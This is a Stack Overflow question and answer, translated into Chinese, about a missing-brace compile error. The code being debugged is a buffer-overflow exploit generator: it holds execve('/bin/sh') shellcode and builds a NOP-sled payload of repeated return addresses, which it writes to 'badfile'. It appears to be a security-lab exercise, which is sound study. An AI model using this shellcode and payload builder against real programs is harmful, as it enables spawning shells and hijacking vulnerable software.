c - 简单错误 : expected declaration or statement at end of input

标签 c

<分区>

当我尝试编译以下代码时,我不断收到错误消息:预期的声明或语句位于输入末尾。我意识到这通常是因为遗漏了一个支架,但我似乎找不到它。我希望另一双眼睛能发现我已经盯着它看了一段时间的错误。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define DEFAULT_OFFSET 350 

char shellcode[]=
"\x31\xc0"              /* xorl    %eax,%eax              */
"\x50"                  /* pushl   %eax                   */
"\x68""//sh"            /* pushl   $0x68732f2f            */
"\x68""/bin"            /* pushl   $0x6e69622f            */
"\x89\xe3"              /* movl    %esp,%ebx              */
"\x50"                  /* pushl   %eax                   */
"\x53"                  /* pushl   %ebx                   */
"\x89\xe1"              /* movl    %esp,%ecx              */
"\x99"                  /* cdql                           */
"\xb0\x0b"              /* movb    $0x0b,%al              */    
"\xcd\x80"              /* int     $0x80                  */

unsigned long get_sp(void)
{
    __asm__("movl %esp,%eax");
}

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;
    char *ptr;
    long *a_ptr,ret;

    int offset = DEFAULT_OFFSET;
    int codeSize = sizeof(shellcode);
    int buffSize = sizeof(buffer);

    if(argc > 1) offset = atoi(argv[1]); //allows for command line input

    ptr=buffer;
    a_ptr = (long *) ptr;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(buffer, 0x90, buffSize);

    ret = get_sp()+offset;
    printf("Return Address: 0x%x\n",get_sp());
    printf("Address: 0x%x\n",ret);

    ptr = buffer;
    a_ptr = (long *) ptr;

    int i;
    for (i = 0; i < 300;i+=4)
    {
        *(a_ptr++) = ret;
    }

    for(i = 486;i < codeSize + 486;++i)
    {
        buffer[i] = shellcode[i-486];
    {
    buffer[buffSize - 1] = '\0';    

/* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer,517,1,badfile);
    fclose(badfile);    
}

最佳答案

问题出在这段代码中

for(i = 486;i < codeSize + 486;++i)
{
    buffer[i] = shellcode[i-486];
{                                 // Here is the problem
buffer[buffSize - 1] = '\0';  

将最后一个 { 更改为 }

关于c - 简单错误 : expected declaration or statement at end of input,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/18879707/

相关文章:

c - * 对于结构是非法的吗?

c - if 语句段错误

c - 如何找到 sizeof 数组?

c++ - 卷到物理驱动器

c - 为什么它给出错误的数组大小

c - 外部关键字的工作

c - C中整数指针数组的静态初始化错误

创建两个子进程完成奇偶级数求和

c - 为什么重新分配不起作用

c - C语言中计算两个字符串匹配次数的函数